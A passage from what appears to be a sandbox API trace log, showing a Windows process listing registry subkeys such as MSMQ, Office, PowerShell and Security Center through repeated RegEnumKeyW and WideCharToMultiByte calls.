lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x233b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x233b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x233b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0026.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x233b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0026.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x233b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x233b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x233b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x233c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x233b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x233c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x233b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x233b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0026.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x233b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0026.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x233c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x233b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x233c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x233b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x233b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x233c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x233b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x233c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x233b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x233c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x233b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x233b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x233c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0026.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x233b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x233b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x233b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x233b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x233b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x233b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x233b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x233c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0026.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x233b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x233b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x233c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x233b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x233b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x233b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x233c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x233b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x233c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x233b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x233c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x233b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0026.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x233b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x233b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x233c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x233b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x233c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x233b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x233c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x233b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x233b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x233c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0026.790] RegEnumKeyW (in: hKey=0x38, 